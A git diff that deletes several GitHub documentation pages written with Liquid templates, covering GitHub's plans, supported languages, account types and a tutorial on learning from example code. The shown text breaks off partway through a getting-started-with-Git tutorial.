a/content/get-started/learning-about-github/github-glossary.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: GitHub glossary -intro: 'This glossary introduces common Git and {% data variables.product.prodname_dotcom %} terminology.' -redirect_from: - - /articles/github-glossary - - /github/getting-started-with-github/github-glossary - - /github/getting-started-with-github/quickstart/github-glossary - - /get-started/quickstart/github-glossary -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- -{% for glossary in glossaries %} - -## {{ glossary.term }} - - {{ glossary.description }} - -{% endfor %} - ---- - -## Further reading - -* [The Official Git Glossary](https://www.kernel.org/pub/software/scm/git/docs/gitglossary.html) -* [Git documentation](https://git-scm.com/doc) -* [Git command list](https://git-scm.com/docs) diff --git a/content/get-started/learning-about-github/github-language-support.md b/content/get-started/learning-about-github/github-language-support.md deleted file mode 100644 index 52d249658d9b..000000000000 --- a/content/get-started/learning-about-github/github-language-support.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: GitHub language support -intro: 'An overview of the programming languages supported by {% data variables.product.prodname_dotcom %} features.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub -redirect_from: - - /github/getting-started-with-github/github-language-support - - /github/getting-started-with-github/learning-about-github/github-language-support ---- - - -## About supported languages - -Most {% data variables.product.prodname_dotcom %} features work regardless of which languages your code is written in. You can search for code or enable syntax highlighting based on any language known to {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE]{% ifversion code-search-upgrade %}(/search-github/github-code-search/understanding-github-code-search-syntax#language-qualifier){% else %}(/search-github/searching-on-github/searching-code#search-by-language){% endif %} or [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks#syntax-highlighting). - -Some {% data variables.product.prodname_dotcom %} products have features that are currently only supported for a subset of programming languages. - -## Core languages supported by {% data variables.product.prodname_dotcom %} features - -Core languages for {% data variables.product.prodname_dotcom %} features include C, C++, C#, Go, Java, JavaScript,{% ifversion kotlin-supported-language %} Kotlin,{% endif %} PHP, Python, Ruby,{% ifversion dependabot-updates-cargo-private-registry-support %} Rust,{% endif %} Scala, and TypeScript. For features that support package managers, the currently supported package managers are included in the table with their relevant languages. - -Some features are supported for additional languages or package managers. If you want to know whether another language is supported for a feature or to request support for a language, visit {% data variables.contact.community_support_forum %}. - -{% data reusables.supported-languages.products-table-header %} -{% data reusables.supported-languages.C %} -{% data reusables.supported-languages.Cpp %} -{% data reusables.supported-languages.Cs %} -{% data reusables.supported-languages.go %} -{% data reusables.supported-languages.java %} -{% data reusables.supported-languages.javascript %} -{% data reusables.supported-languages.kotlin %} -{% data reusables.supported-languages.php %} -{% data reusables.supported-languages.python %} -{% data reusables.supported-languages.ruby %} -{% data reusables.supported-languages.rust %} -{% data reusables.supported-languages.scala %} -{% data reusables.supported-languages.swift %} -{% data reusables.supported-languages.typescript %} - -> [!NOTE] -{% ifversion fpt or ghec %}> * The language support for {% data variables.product.prodname_copilot %} varies depending on the volume and diversity of training data for that language.{% endif %} -> * The support of Gradle for the dependency graph and {% data variables.product.prodname_dependabot_alerts %} is limited to the upload of data obtained using the {% data variables.dependency-submission-api.name %}. -> * PHP, Rust, and Scala are supported for {% data variables.product.prodname_code_scanning %} by third-party actions. diff --git a/content/get-started/learning-about-github/githubs-plans.md b/content/get-started/learning-about-github/githubs-plans.md deleted file mode 100644 index 527e8d1e3f02..000000000000 --- a/content/get-started/learning-about-github/githubs-plans.md +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: GitHub’s plans -intro: 'An overview of {% data variables.product.prodname_dotcom %}''s pricing plans.' -redirect_from: - - /articles/github-s-products - - /articles/githubs-plans - - /github/getting-started-with-github/githubs-plans - - /github/getting-started-with-github/learning-about-github/githubs-plans - - /get-started/learning-about-github/githubs-products - - /github/getting-started-with-github/githubs-products -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - CLI - - Mobile - - Desktop - - Security ---- -## About {% data variables.product.prodname_dotcom %}'s plans - -{% data variables.product.prodname_dotcom %} offers free and paid plans for storing and collaborating on code. Some plans are available only to personal accounts, while other plans are available only to organization and enterprise accounts. For more information about accounts, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). - -See costs and features for each plan at {% data variables.product.pricing_link %}. {% data reusables.products.product-roadmap %} - -When you read {% data variables.product.prodname_docs %}, make sure to select the version that reflects your plan. For more information, see [AUTOTITLE](/get-started/using-github-docs/about-versions-of-github-docs). - -## {% data variables.product.prodname_free_user %} for personal accounts - -With {% data variables.product.prodname_free_team %} for personal accounts, you can work with unlimited collaborators on unlimited public repositories with a full feature set, and on unlimited private repositories with a limited feature set. - -With {% data variables.product.prodname_free_user %}, your personal account includes: -* {% data variables.product.prodname_gcf %} -* {% data variables.product.prodname_dependabot_alerts %} -* Deployment protection rules for public repositories -* Two-factor authentication enforcement -* 500 MB {% data variables.product.prodname_registry %} storage {% ifversion fpt or ghec %} -* 120 {% data variables.product.prodname_github_codespaces %} core hours per month -* 15 GB {% data variables.product.prodname_github_codespaces %} storage per month {% endif %} -* {% data variables.product.prodname_actions %} features: - * 2,000 minutes per month - * Deployment protection rules for public repositories -* GitHub Pages in public repositories - -## {% data variables.product.prodname_pro %} - -In addition to the features available with {% data variables.product.prodname_free_user %} for personal accounts, {% data variables.product.prodname_pro %} includes: -* {% data variables.contact.github_support %} via email -* 3,000 {% data variables.product.prodname_actions %} minutes per month -* 2 GB {% data variables.product.prodname_registry %} storage {% ifversion fpt or ghec %} -* 180 {% data variables.product.prodname_github_codespaces %} core hours per month -* 20 GB {% data variables.product.prodname_github_codespaces %} storage per month {% endif %} -* Advanced tools and insights in private repositories: - * Required pull request reviewers - * Multiple pull request reviewers - * Protected branches - * Code owners - * Auto-linked references - * {% data variables.product.prodname_pages %} - - > [!NOTE] - > To publish a {% data variables.product.prodname_pages %} site privately, you need to have an organization account. Additionally, your organization must use {% data variables.product.prodname_ghe_cloud %}. - - * Wikis - * Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks - {% data reusables.repositories.repo-insights-commit-limit %} - -## {% data variables.product.prodname_free_team %} for organizations - -With {% data variables.product.prodname_free_team %} for organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set. - -In addition to the features available with {% data variables.product.prodname_free_user %} for personal accounts, {% data variables.product.prodname_free_team %} for organizations includes: -* {% data variables.product.prodname_gcf %}{% ifversion team-discussions %} -* Team discussions{% endif %} -* Team access controls for managing groups -* 2,000 {% data variables.product.prodname_actions %} minutes per month -* 500 MB {% data variables.product.prodname_registry %} storage - -## {% data variables.product.prodname_team %} - -In addition to the features available with {% data variables.product.prodname_free_team %} for organizations, {% data variables.product.prodname_team %} includes: -* {% data variables.contact.github_support %} via email -* 3,000 {% data variables.product.prodname_actions %} minutes per month -* 2 GB {% data variables.product.prodname_registry %} storage -{%- ifversion ghas-products %} -* The option to purchase {% data variables.product.prodname_GHAS %} products: - * {% data variables.product.prodname_GH_code_security %} - * {% data variables.product.prodname_GH_secret_protection %} - - For more information, see [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security).{%- endif %} - -* Advanced tools and insights in private repositories: - * Required pull request reviewers - * Multiple pull request reviewers - * Draft pull requests - * Team pull request reviewers - * Protected branches - * Code owners - * Scheduled reminders - * {% data variables.product.prodname_pages %} - - > [!NOTE] - > To publish a {% data variables.product.prodname_pages %} site privately, you need to have an organization account. Additionally, your organization must use {% data variables.product.prodname_ghe_cloud %}. - - * Wikis{% ifversion ghas-products %} - * Security overview{% endif %} - * Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks - {% data reusables.repositories.repo-insights-commit-limit %} -{%- ifversion fpt or ghec %} -* The option to enable or disable {% data variables.product.prodname_github_codespaces %} - * Organization owners can choose to enable or disable {% data variables.product.prodname_github_codespaces %} for the organization's private {% ifversion ghec %}and internal {% endif %}repositories, and can pay for the usage of members and collaborators. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization) and [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/choosing-who-owns-and-pays-for-codespaces-in-your-organization). -{%- endif %} - -{% data variables.product.company_short %} bills for {% data variables.product.prodname_team %} on a per-user basis. For more information, see [About per-user pricing]({% ifversion not fpt %}/free-pro-team@latest{% endif %}/billing/managing-the-plan-for-your-github-account/about-per-user-pricing){% ifversion fpt %}.{% else %} in the Free, Pro, & Team documentation.{% endif %} - -{% data reusables.actions.actions-billing %} - -## {% data variables.product.prodname_enterprise %} - -{% data variables.product.prodname_enterprise %} includes two deployment options: {% data variables.product.prodname_ghe_cloud %}, which is hosted by {% data variables.product.company_short %} in the cloud, and {% data variables.product.prodname_ghe_server %}, which is self-hosted. For more information, see [About {% data variables.product.prodname_dotcom %} for enterprises]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/overview/about-github-for-enterprises){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -In addition to the features available with {% data variables.product.prodname_team %}, {% data variables.product.prodname_enterprise %} includes: - -* {% data variables.contact.enterprise_support %} -* Additional security, compliance, and deployment controls -* Authentication with SAML single sign-on -* Access provisioning with SAML or SCIM -* Deployment protection rules with {% data variables.product.prodname_actions %} for private or internal repositories -* {% data variables.product.prodname_github_connect %}{%- ifversion ghas-products %}{% else %} -* The option to purchase {% data variables.product.prodname_GHAS %}. For more information, see [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security){% endif %} -* Additional features such as internal repositories{%- ifversion ghas-products %}{% else %}, security overview,{% endif %} and repository rules. - -{% data variables.product.prodname_ghe_cloud %} specifically includes: -* 50,000 {% data variables.product.prodname_actions %} minutes per month - * Included minutes can be used with standard {% data variables.product.prodname_dotcom %}-hosted runners only. For more information about billing for {% data variables.actions.hosted_runners %}, see [AUTOTITLE](/enterprise-cloud@latest/actions/using-github-hosted-runners/about-larger-runners/about-larger-runners#understanding-billing). -* 50 GB {% data variables.product.prodname_registry %} storage -* A service level agreement for 99.9% monthly uptime -* The option to centrally manage policy and billing for multiple {% data variables.product.prodname_dotcom %} organizations with an enterprise account. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/managing-your-enterprise-account/about-enterprise-accounts). - - * If you upgrade an existing organization to {% data variables.product.prodname_ghe_cloud %}, your enterprise account will contain your organization. For more information, see [AUTOTITLE]({% ifversion fpt or ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-the-plan-for-your-github-account/upgrading-your-accounts-plan#upgrading-your-organizations-plan) and [AUTOTITLE]({% ifversion fpt or ghes %}/enterprise-cloud@latest{% endif %}/admin/managing-your-enterprise-account/creating-an-enterprise-account#about-enterprise-account-creation){% ifversion fpt or ghes %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} -* The option to provision and manage the user accounts for your developers, by using {% data variables.product.prodname_emus %}. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/understanding-iam-for-enterprises/about-enterprise-managed-users). -* Additional features such as audit log streaming and IP allow list. For more information, see [AUTOTITLE]({% ifversion fpt and ghes %}/enterprise-cloud@latest{% endif %}/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise) and [AUTOTITLE](/enterprise-cloud@latest/admin/configuration/hardening-security-for-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list){% ifversion fpt or ghes %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} -* The option to host your company's data in a specific region, on a unique subdomain - -For a detailed list of the features available with {% data variables.product.prodname_enterprise %}, see our [Pricing](https://github.com/pricing) page. - -To see how {% data variables.product.github %} compares to GitLab, Bitbucket, and Jenkins, see [Comparing GitHub to other DevOps solutions](https://resources.github.com/devops/tools/compare/). - -You can set up trials to evaluate {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/overview/setting-up-a-trial-of-github-enterprise-cloud) and [AUTOTITLE](/enterprise-server@latest/admin/overview/setting-up-a-trial-of-github-enterprise-server). - -## Further reading - -* [About per-user pricing]({% ifversion not ghec %}/enterprise-cloud@latest{% endif %}/billing/managing-the-plan-for-your-github-account/about-per-user-pricing){% ifversion not ghec %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %} diff --git a/content/get-started/learning-about-github/index.md b/content/get-started/learning-about-github/index.md deleted file mode 100644 index fe9f8a0bd18c..000000000000 --- a/content/get-started/learning-about-github/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Learning about GitHub -intro: 'Learn how you can use {% data variables.product.company_short %} products to improve your software management process and collaborate with other people.' -redirect_from: - - /articles/learning-about-github - - /github/getting-started-with-github/learning-about-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - CLI - - Mobile - - Desktop - - Security -children: - - /githubs-plans - - /github-language-support - - /types-of-github-accounts - - /access-permissions-on-github - - /about-github-advanced-security - - /faq-about-changes-to-githubs-plans - - /github-glossary ---- diff --git a/content/get-started/learning-about-github/types-of-github-accounts.md b/content/get-started/learning-about-github/types-of-github-accounts.md deleted file mode 100644 index 7e817ae8faa4..000000000000 --- a/content/get-started/learning-about-github/types-of-github-accounts.md +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Types of GitHub accounts -intro: 'Accounts on {% data variables.product.github %} allow you to organize and control access to code.' -redirect_from: - - /manage-multiple-clients - - /managing-clients - - /articles/what-s-the-difference-between-user-and-organization-accounts - - /articles/differences-between-user-and-organization-accounts - - /articles/types-of-github-accounts - - /github/getting-started-with-github/types-of-github-accounts - - /github/getting-started-with-github/learning-about-github/types-of-github-accounts -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - CLI - - Mobile - - Desktop - - Security ---- - -## About accounts - -With {% data variables.product.github %}, you can store and collaborate on code. Accounts allow you to organize and control access to that code. There are three types of accounts on {% data variables.product.github %}. -* User accounts -* Organization accounts -* Enterprise accounts - -Every person who uses {% data variables.product.github %} signs in to a user account. An organization account enhances collaboration between multiple users, and {% ifversion fpt or ghec %}an enterprise account{% else %}the enterprise account for {% data variables.location.product_location %}{% endif %} allows central management of multiple organizations. - -## User accounts - -{% data reusables.accounts.your-personal-account %} - -Your user account can own resources such as repositories, packages, and projects. Any time you take any action on {% data variables.product.github %}, such as creating an issue or reviewing a pull request, the action is attributed to your user account. - -User accounts are intended for humans, but you can create accounts to automate activity on {% data variables.product.github %}. This type of account is called a machine user. For example, you can create a machine user account to automate continuous integration (CI) workflows. - -{% ifversion fpt or ghec %} - -There are two types of user account: - -* [Personal accounts](#personal-accounts) -* [{% data variables.enterprise.prodname_managed_users_caps %}](#managed-user-accounts) - -### Personal accounts - -If you signed up for your own account on {% data variables.product.prodname_dotcom_the_website %}, you are using a personal account. - -Each personal account uses either {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %}. All personal accounts can own an unlimited number of public and private repositories, with an unlimited number of collaborators on those repositories. If you use {% data variables.product.prodname_free_user %}, private repositories owned by your personal account have a limited feature set. You can upgrade to {% data variables.product.prodname_pro %} to get a full feature set for private repositories. For more information, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans). - -Many people use one personal account for all their work on {% data variables.product.prodname_dotcom_the_website %}, including both open source projects and paid employment. If you're currently using more than one personal account that you created for yourself, we suggest combining the accounts. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts). - -Even if you're a member of an organization that uses SAML single sign-on, you will still sign in to your own personal account on {% data variables.product.prodname_dotcom_the_website %}, and that personal account will be linked to your identity in your organization's identity provider (IdP). For more information, see [AUTOTITLE](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -### {% data variables.enterprise.prodname_managed_users_caps %} - -If your account was created for you by an enterprise on {% data variables.product.prodname_ghe_cloud %}, you are using a {% data variables.enterprise.prodname_managed_user %}. - -As a {% data variables.enterprise.prodname_managed_user %}: - -* Some of your account details and settings are managed by your enterprise. -* You must sign in to your {% data variables.enterprise.prodname_managed_user %} to access organizations and repositories owned by the enterprise. -* You can create your own private repositories, but you cannot create public content or contribute to repositories outside the enterprise. - -{% endif %} - -## Organization accounts - -Organizations are shared accounts where a large number of people can collaborate across many projects at once. - -Like user accounts, organizations can own resources such as repositories, packages, and projects. However, you cannot sign in to an organization. Instead, each person signs in to their user account, and any actions the person takes on organization resources are attributed to their user account. Each user can be a member of multiple organizations. - -The users within an organization can be given different roles in the organization, which grant different levels of access to the organization and its data. All members can collaborate with each other in repositories and projects, but only organization owners and security managers can manage the settings for the organization and control access to the organization's data with sophisticated security and administrative features. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) and [AUTOTITLE](/organizations/keeping-your-organization-secure). - -You can also create nested sub-groups of organization members called teams, to reflect your group's structure and simplify access management. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -{% data reusables.organizations.organization-plans %} - -For more information about all the features of organizations, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-organizations). - -## Enterprise accounts - -{% ifversion fpt %} -{% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} include enterprise accounts, which allow administrators to centrally manage policy and billing for multiple organizations and enable innersourcing between the organizations. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/managing-your-enterprise-account/about-enterprise-accounts) in the {% data variables.product.prodname_ghe_cloud %} documentation. -{% elsif ghec %} -Enterprise accounts allow central policy management and billing for multiple organizations. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see [AUTOTITLE](/admin/managing-your-enterprise-account/about-enterprise-accounts). -{% elsif ghes %} -Your enterprise account is a collection of all the organizations {% ifversion ghes %}on{% endif %} {% data variables.location.product_location %}. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see [AUTOTITLE](/admin/managing-your-enterprise-account/about-enterprise-accounts). -{% endif %} - -## Further reading - -{% ifversion fpt or ghec %} -* [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github){% endif %} -* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch) -* [Organizing people for successful collaboration](https://vimeo.com/333786093) video in {% data variables.product.company_short %} Resources diff --git a/content/get-started/learning-to-code/finding-and-understanding-example-code.md b/content/get-started/learning-to-code/finding-and-understanding-example-code.md deleted file mode 100644 index e55f7db77944..000000000000 --- a/content/get-started/learning-to-code/finding-and-understanding-example-code.md +++ /dev/null @@ -1,165 +0,0 @@ ---- -title: Finding and understanding example code -shortTitle: Finding example code -intro: "Improve your coding skills by learning from example code on {% data variables.product.github %}." -versions: - fpt: '*' -topics: - - Copilot - - GitHub search - - GitHub - - Open Source ---- - -## How can I learn from code on {% data variables.product.github %}? - -Learning from projects on {% data variables.product.github %} is a great way of **learning new techniques** and **finding inspiration** for your own projects. - -However, with millions of publicly available repositories on {% data variables.product.github %}, finding code that applies to your project can be overwhelming. Even after you find the perfect repository, it can be difficult to navigate the codebase to find useful examples. - -Instead of trying to understand an entire project, a better approach is to pick a single feature or function and see how it works. We can use {% data variables.product.prodname_copilot_chat_short %} and {% data variables.product.github %}'s search functionality to locate a feature and follow it through the codebase. This is a great way to learn as we can see how the feature works all the way from the backend to the frontend. - -In this guide, you'll learn how to do both by following an **example scenario**: learning how to load and display data from files on a Jekyll website. Then, you can apply the tips and techniques to other projects and programming languages. - -## Finding an example project - -The first step is to find the right project to learn from. - -### Use {% data variables.product.prodname_copilot_chat_short %} to identify a repository - -The fastest way to find a project with code that you can learn from is to ask [{% data variables.product.prodname_copilot_chat_short %}](https://github.com/copilot) to find repositories that match your criteria. - -Open [{% data variables.product.prodname_copilot_chat_short %}](https://github.com/copilot) and start a general purpose chat. Then ask: - -> Can you find some popular repositories that use Jekyll to display data from files in the repository? - -{% data variables.product.prodname_copilot_short %} will return links to relevant repositories, and you can ask follow-up questions about the repositories. - -Often, {% data variables.product.prodname_copilot_short %} will end its response with a link to {% data variables.product.github %} search with more results. Next, we'll review these results. - -### Using search to identify more options - -If {% data variables.product.prodname_copilot_short %} included a link to search results, follow the link. If not, form your own search query by following the steps below. - -1. Navigate to [Advanced search](https://github.com/search/advanced). -1. In the "Advanced options" section, use the "Written in this language" dropdown to select a programming language. For our Jekyll site, we'll select "HTML". -1. Optionally, under "Repositories options", next to "With this many stars", type `>150`. This will help you find popular repositories that are likely well maintained. -1. Back at the top of the page, click **Search**. - ->[!TIP] ->We can further narrow down your search results by adding topics and text to the search query. For example, `topic:jekyll "blog"` would return repositories the owner has classified as related to Jekyll and with the word "blog" in the repository name or description. For a list of popular topics, see [Topics on {% data variables.product.github %}](https://github.com/topics). - -### Choosing a project - -After reviewing the results from {% data variables.product.prodname_copilot_short %} and search, we decide to use the [`github/choosealicense.com`](https://github.com/github/choosealicense.com) repository. This repository contains the source code for [Choose a License](https://choosealicense.com/), a Jekyll website that shares information about open source licenses. - -We're particularly interested in the [Licenses](https://choosealicense.com/licenses/) page, which displays popular open source licenses from data files. - -## Orienting yourself within the project - -Before we dig into the code for displaying data files, let's orient ourselves in the repository in general. - -It can be difficult to know where to start when you first visit a repository. While each project will organize itself in its own individual way, there are common documentation methods that we can usually rely upon to get our bearings. - -### The README.md file - -It's always a good idea to read the **README.md** file, which is the front page of a repository and is automatically rendered beneath the list of files. Different maintainers will include different information, but you can often find information about the project, how to build it on your local machine, and links to documentation. - -In the [`github/choosealicense.com`](https://github.com/github/choosealicense.com) repository, the README.md file explains where the license files live (`/_licenses`), the attributes each license can have, and how to get the website running on your computer. - -### Using {% data variables.product.prodname_copilot_chat_short %} - -If the README.md file doesn't give you all the answers, you can ask {% data variables.product.prodname_copilot_short %} to help you navigate the repository and locate functionality. - -To open {% data variables.product.prodname_copilot_chat_short %}, click the **{% octicon "copilot" aria-hidden="true" %}** {% data variables.product.prodname_copilot %} icon next to the search bar and ask your question. For example: - ->What is the main landing page for this Jekyll website? - -When you ask {% data variables.product.prodname_copilot_short %} questions about a repository, it can return the relevant files, explain the part they play in the functionality, and include links. - -### The repository's wiki - -Another possible source of information is the repository's **wiki**, a section of the repository specifically for hosting documentation. Every repository on {% data variables.product.github %} comes equipped with the ability to use a wiki, but not every repository uses it. To access the wiki, click the **{% octicon "book" aria-hidden="true" %} Wiki** tab in the repository. - -### Releases - -If the repository's source code builds into an executable file, some repository maintainers will use the repository's **releases** to publish binary files. You can download and run these binary files to examine how the application works while exploring the codebase, without needing to build the project yourself. - -You can find a repository's releases in the sidebar, to the right of the list of files and README.md. - -### Internal documentation - -You can also look for internal documentation in the repository's contents. This could be a single Markdown file or a directory full of Markdown files. Common names to look for include "docs", "documentation", "wiki", "resources", "help", and "manual". - -## Navigating the source code - -Now that we understand the overall structure of the repository, it's time to use {% data variables.product.github %} search to find to the specific functionality we're looking for. - -When you're in a repository and click into the search field at the top of the page, {% data variables.product.github %} will automatically add the `repo` search qualifier so your search results are constrained to the repository you're viewing. - -To get started, we need something to search for. This could be a string of text unique to the feature we're examining, or we could look at the HTML source of the page and find a particular `class` or `id` attribute. - -In our example, we'll search for the text at the top of the [licenses page](https://choosealicense.com/licenses/), using this query: [`repo:github/choosealicense "If you’re looking for a reference table?"`](https://github.com/search?q=repo%3Agithub%2Fchoosealicense.com+%22If+you%E2%80%99re+looking+for+a+reference+table%22&type=code). This returns one result, a file named `licenses.html`. - -Now we can click on the result and dig deeper! [`licenses.html`](https://github.com/github/choosealicense.com/blob/gh-pages/licenses.html) is the source of the "Licences" page we were looking for. We can see the string that we searched for and that each of the licenses is included with the code below: - -```markdown -{% raw %}{% include license-overview.html license-id="agpl-3.0" %}{% endraw %} -``` - -## Understanding the source code - -Now that we've found the specific code we're interested in, we can move on to understanding it. - -### Asking {% data variables.product.prodname_copilot_chat_short %} about the code - -You can use {% data variables.product.prodname_copilot_short %} to learn more about a file or even specific lines of code. {% data variables.product.prodname_copilot_short %} will combine information about the programming language with the context from the repository to answer your questions in great detail. - -Let's ask {% data variables.product.prodname_copilot_short %} to explain what's happening on line 11, with the `{% raw %}{% include %}{% endraw %}` tag. Click the line number. Then, to the right of the line, click {% octicon "copilot" aria-label="Ask Copilot about this snippet" %}. In the chat window, ask: - ->What's happening in this line? - -{% data variables.product.prodname_copilot_short %} will explain that the line is including the `license-overview.html` file and passing along `"agpl-3.0"` as the `license-id` to display. - ->[!TIP] ->If you don't understand a response from {% data variables.product.prodname_copilot_chat_short %}, you can always ask it to simplify the answer or expand on a particular part of it. - -### Reading comments - -Comments are human readable annotations that you can use to understand the code and are not executed. They are usually delimited with characters such as `//` or `/*`. - -There are a few types of comments to look for: - -* **Line**: Single-line comments that describe what a particular line is doing -* **Block**: Multi-line comments that might describe what an entire function or file is doing -* **File**: A block comment at the very beginning of a file, providing an overview of that particular part of the codebase - -### Looking up functions in programming language references - -Every programming language will have a reference online, explaining every aspect of the language. - -If you use a search engine to search for the programming language and the function, you should find a link to that function's reference page. - -For our example, searching for `jekyll include` in a search engine should return the ["Includes" documentation](https://jekyllrb.com/docs/includes/) in the Jekyll documentation. If we read further into Jekyll's documentation, we can see that the licenses themselves are a [collection](https://jekyllrb.com/docs/collections/) in the [`_licenses`](https://github.com/github/choosealicense.com/tree/gh-pages/_licenses) directory. - ->[!TIP] If you can't find a function in a programming language reference, it's likely that the function is defined in the codebase itself. Ask [{% data variables.product.prodname_copilot %}](https://github.com/copilot) to locate it. - -To summarize what we've learned: the [`licenses.html`](https://github.com/github/choosealicense.com/blob/gh-pages/licenses.html) file includes [`/_includes/license-overview.html`](https://github.com/github/choosealicense.com/blob/gh-pages/_includes/license-overview.html) for each license shown. The [`/_includes/license-overview.html`](https://github.com/github/choosealicense.com/blob/gh-pages/_includes/license-overview.html) file matches the `license-id` provided to a license in the [`/_licenses`](https://github.com/github/choosealicense.com/tree/gh-pages/_licenses) collection and renders the details. - -### Experimenting with small changes - -If you're able to run the project locally on your computer, a great way to learn is to make little changes to see what happens. - -You can start by changing text, then move on to making bigger changes, such as experimenting with how functions and files interact with each other. - -Try finding the [`license-overview.html`](https://github.com/github/choosealicense.com/blob/gh-pages/_includes/license-overview.html) file in the `_includes` directory, then making changes to how the license is displayed or experimenting with how the license is loaded from the collection. - -You could change the metadata at the beginning of one of the license files, change which attributes are displayed in `license-overview.html`, or even try adding your own attribute. When you've made your change, you can test it by following the README.md instructions to view it in your browser. - -### Applying what we've learnt - -The [`github/choosealicense.com`](https://github.com/github/choosealicense.com) repository is a great example of a large Jekyll project and demonstrates just how much is possible with Jekyll and {% data variables.product.prodname_pages %}. Can you apply what you've learnt from the structure of the repository, how it uses collections, and the way it includes the license data to build your own project? - -## Next steps - -Now that you understand how the example code works, you may want to reuse it in your own project. Code reuse is a powerful part of software development, but there are important steps to follow to do it correctly and legally. For a full tutorial, see [AUTOTITLE](/get-started/learning-to-code/reusing-other-peoples-code-in-your-projects). diff --git a/content/get-started/learning-to-code/getting-started-with-git.md b/content/get-started/learning-to-code/getting-started-with-git.md deleted file mode 100644 index 2e78728ee291..000000000000 --- a/content/get-started/learning-to-code/getting-started-with-git.md +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: Getting started with Git -intro: 'Learn the basics of Git by working through an example scenario.' -topics: - - Copilot - - Git - - Desktop -versions: - fpt: '*' -shortTitle: Get started with Git ---- - -Have you ever wished you had a time machine for your code? Well, Git is exactly that, and so much more! - -If you aren't familiar with Git, it's a **version control** system that helps you keep track of changes to your code. You can save a snapshot of your project at a particular point in time, then make experimental changes without risking your work, since you can always go back to your snapshot. - -{% data variables.product.github %} itself is a platform built around Git, letting you save your Git projects to the cloud and work on them with other developers. - -While Git can be complicated, it's a powerful and necessary tool for any developer. This article will give you all the tools you need to use Git in your day-to-day workflow. - -## Prerequisites - -To follow this tutorial, you need to [install {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download). - -## Learning Git basics with {% data variables.product.prodname_desktop %} - -For standard Git operations, we recommend {% data variables.product.prodname_desktop %}, an app that lets you interact with Git visually instead of through written commands. In this section, we'll learn how to use {% data variables.product.prodname_desktop %} to quickly perform the most common Git operations. - -### Setting up {% data variables.product.prodname_desktop %} - -If this is your first time using {% data variables.product.prodname_desktop %}, you need to install it and connect your {% data variables.product.github %} account. - -1. [Download {% data variables.product.prodname_desktop %}](https://desktop.github.com/download/). -1. Open {% data variables.product.prodname_desktop %}, then click **Sign in to {% data variables.product.prodname_dotcom_the_website %}** and authorize {% data variables.product.prodname_desktop %} to access your account. -1. Back in {% data variables.product.prodname_desktop %}, click **Finish**. This will add your name and email from your {% data variables.product.github %} account to Git. - -### Creating a local repository - -Now, you can take your first steps into Git by creating a **repository**. Think of a repository as a project folder that tracks changes and stores history. First, we'll create a **local** repository: - -1. In {% data variables.product.prodname_desktop %}, click **Create a New Repository on your Local Drive**. -1. Name the repository `learning-git`. -1. Select **Initialize this repository with a README** to create a blank `README.md` file automatically. - - > [!TIP] It's standard practice to include a `README.md` file, also known as a README, in your projects. READMEs typically contain information that helps others understand, set up, and run your project. -1. Click **Create repository**. - -### Creating a remote repository - -The local repository you just created lives on your computer. Now, let's create a **remote** repository for the same project, which will be hosted on {% data variables.product.github %}. Linking a remote repository makes it easier to collaborate on and back up your work. - -1. In 